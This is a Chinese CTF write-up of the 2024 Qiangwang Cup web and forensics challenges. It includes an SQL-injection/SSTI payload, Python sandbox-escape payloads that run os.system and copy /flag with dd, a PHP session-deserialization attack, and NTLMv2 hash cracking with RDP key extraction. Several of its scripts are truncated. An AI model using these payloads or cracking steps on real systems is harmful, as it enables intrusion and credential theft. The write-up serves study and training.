2024强网杯
最终排名:131
Web
xiaohuanxiong(WP)
先去访问/install安装好
找到xiaohuanxiong源码 xiaohuanxiong ,审代码
看到这个可以新增管理员,访问/admin/Admins进入后台,url变为:http://ip/admin/admins 然后在管理员新增那里添加管理员,返回可以看到成功添加
然后路由扫描扫到了/admin/login
登录管理员
成功登录,然后在支付管理的支付设置中找到有php代码,直接写入
点击提交就有flag
Snake(WP)
做过类似的题,因为格子数量比较少,不用BFS,直接遍历每个格子即可
脚本:
import requests |
然后得到路由/snake_win?username=admin,payload:/snake_win?username=1’ union select 1,2,’49‘–+ 利用sql结合ssti发现回显49了
然后fenjing一把梭
Proxy(WP)
gpt一把梭
然后kali跑就行,把127.0.0.1改成分配的ip,flag base64解密即可
PyBlockly(复现)
题目描述:积木编程
代码整体大概逻辑:
这么多东西只用看app.py其他东西不用看
app.py运行思路就是用积木编程构造python代码,然后又waf 绕过就可以了 有语法树检测,有黑名单检测
审代码,这里会进行一个python的代码执行
构造格式:{'blocks': {'blocks': [{*'id': '1', 'type': 'print', 'inputs': {'TEXT': {'block': {'id': '2', 'type': 'text', 'fields': {'TEXT': 'Hello, World!'}}}}}]}}
有个unidecoe解码,找字符脚本:(这个脚本的目的是遍历所有可能的 Unicode 字符码点,找到并打印出那些经过 unidecode 转换后变为下划线 (_) 的字符,并列出它们的名称和对应的十六进制码点。)
from unidecode import unidecode |
payload:
{"blocks":{"languageVersion":0,"blocks":[{"type":"text","id":"~PG?ga`45hw$)473HrT8","fields":{"TEXT":"';__import__("builtins").len=lambda x:0;print(__import__("os").system("ls"));'"}}]}}
这里需要注意:因为长度检查:如果事件名称的长度超过 4,则抛出一个运行时错误。所以
用 len=lambda x: 0 替换 len 函数,这样无论传入什么参数,len 的返回值都会是 0,不会超过钩子函数中设置的长度限制(4)。
然后没权限读flag,需要用到dd提权
payload:{"blocks":{"languageVersion":0,"blocks":[{"type":"print","id":"to3@=3O`Iw7FPn:VgL(D","x":117,"y":192,"inputs":{"TEXT":{"block":{"type":"text","id":";LI^vIskW`IlZLg(X/*4","fields":{"TEXT":"123');glóbáls()['__búíltíns__'].__díct__['lén'] = lámbdá x: 1;prínt(__ímpórt__('ós').systém('échó `dd íf=/flág óf=/tmp/flág`'));prínt('1"}}}}}]}}
在 Linux 中,/tmp 目录是一个用于存放临时文件的标准目录。
然后cat /tmp/flag
{"blocks":{"languageVersion":0,"blocks":[{"type":"print","id":"to3@=3O`Iw7FPn:VgL(D","x":117,"y":192,"inputs":{"TEXT":{"block":{"type":"text","id":";LI^vIskW`IlZLg(X/*4","fields":{"TEXT":"123');glóbáls()['__búíltíns__'].__díct__['lén'] = lámbdá x: 1;prínt(__ímpórt__('ós').systém('échó `cat /tmp/flag`'));prínt('1"}}}}}]}}
参考链接:强网杯2024 Writeup - 星盟安全团队
platform(复现)
用小皮搭了来复现
首先代码审计,考了session反序列化,文章:带你走进PHP session反序列化漏洞 - 先知社区
有个黑名单,这里后面可以用来字符串逃逸
class.php有了eval(),可以用到rce来得到flag
利用username和password来构造payload
先随便传账号密码 admin123 admin123
在/tmp目录这里找到session文件是这样的:user|s:8:”admin123”;session_key|s:19:”qJqS5iXIz6mOZc1WnuX”;password|s:8:”admin123”;
再来看一下session_key的生成,session_key是随机生成长度的,所以需要我们给固定值,然后爆破直到正确
现在就是需要利用前面的黑名单来实现三字符串逃逸来覆盖session_key从而注入恶意代码来反序列化从而得到flag
gpt解释:攻击者可以在 username 字段中插入精心构造的恶意字符串,来覆盖 session_key 或修改其他重要的会话数据。因为 PHP 会自动反序列化这些数据,如果数据格式正确,PHP 会将它们还原成对象或数组。这是反序列化漏洞的关键:攻击者通过精心构造的字符串来操控 $_SESSION 中的内容。
所以我们给定username一个定值来爆破直到长度符合,在password那里反序列化来实现rce
exp:
params = { |
参考链接:强网杯2024 Writeup - 星盟安全团队
Password Game(复现)
function filter($password){ |
Filter绕过:
长度限制还需要删掉序列化中一些无用的变量
最终payload:
参考链接:2024 强网杯 部分题解 - S1uM4i
Misc
签到
问卷调查
ZmxhZ3t0SGFuS1NfZjBSX1lvVXJfRmVlREJBY2tfc2VFX3kwVV9OZXhUX3llQHIhfQ==
flag{tHanKS_f0R_YoUr_FeeDBAck_seE_y0U_NexT_ye@r!}
givemesecret(WP)
Master of OSINT (WP)
这个就嗯找,就不细说
谍影重重5.0(感觉应该是最细的一篇)(复现)
这题是关于SMB3协议解密和RDP解密
smb协议进行了大量的数据传输,并且这些数据都是加密数据
并且使用了ntlm v2加密协议进行身份认证
需要session key和sessionid解密(在编辑中的首选项的Protocols中找到SM2),而流量传输里面的session key并不是解密所用的session key
解密用的session key得到需要破解出ntlm hash的明文密码
了解一下先
破解密码:
NTLMv2的格式为:username::domain:challenge:HMAC-MD5:blob(challenge为NTLM Server Challenge,HMAC-MD5对应数据包中的NTProofStr,blob对应数据包中Response去掉NTProofStr的后半部分)
得到blob:
tshark -n -r 谍影重重5.0.pcapng -Y ‘ntlmssp.messagetype == 0x00000003’ -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.ntlmv2_response.ntproofstr -e ntlmssp.auth.ntresponse
得到完整的net-ntlm hash:tom::.:221434d6e2497017:ca32f9b5b48c04ccfa96f35213d63d75:010100000000000040d0731fb92adb01221434d6e24970170000000002001e004400450053004b0054004f0050002d004a0030004500450039004d00520001001e004400450053004b0054004f0050002d004a0030004500450039004d00520004001e004400450053004b0054004f0050002d004a0030004500450039004d00520003001e004400450053004b0054004f0050002d004a0030004500450039004d0052000700080040d0731fb92adb0106000400020000000800300030000000000000000100000000200000bd69d88e01f6425e6c1d7f796d55f11bd4bdcb27c845c6ebfac35b8a3acc42c20a001000000000000000000000000000000000000900260063006900660073002f003100370032002e00310036002e003100300035002e003100320039000000000000000000
使用hashcat爆破,得到密码为babygirl233
脚本得到session key:
from Crypto.Cipher import ARC4 |
session id:
有了session key和session id之后就可以解密smb流量了
session id需要反转:
文件导出对象–>smb对象中,可以导出一些文件,其中flag.7z需要密码,另外还有两个证书文件,有用的只有fpx文件,在流量中包含了大量的RDP流量,也有密码,这里可以直接猜测密码是mimikatz
使用命令:
这条命令从 .pfx 文件中提取私钥并将其保存为 PEM 格式
openssl pkcs12 -in server_certificate.pfx -nocerts -out server_key.pem -nodes
这条命令从 server_key.pem 中提取私钥并保存为 server.key 文件,输出的是一个未加密的 RSA 私钥。
openssl rsa -in server_key.pem -out server.key
首选项–>protocols–>TLS–>RSA etitor导入密匙文件
使用命令:tshark -r 谍影重重5.0.pcapng -Y "rdp" -Y "rdp.fastpath.eventheader == 0x00" -T fields -e rdp.fastpath.scancode.keycode > output.txt
提取键盘输入
然后使用脚本映射出键盘的按键
import json |
最终flag.7z的密码就是babygirl233拼接9347013182:babygirl2339347013182,解压得到flag
参考文章:强网杯 谍影重重5.0 WP
强网杯2024 Writeup - 星盟安全团队
Windows下的密码hash——NTLM hash和Net-NTLM hash介绍 - 先知社区
SMB 解密 - TryHackMe :: MWLab — Ladislav 的恶意软件实验室 — SMB Decryption - TryHackMe :: MWLab — Ladislav’s Malware Lab
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 0pium's Blog!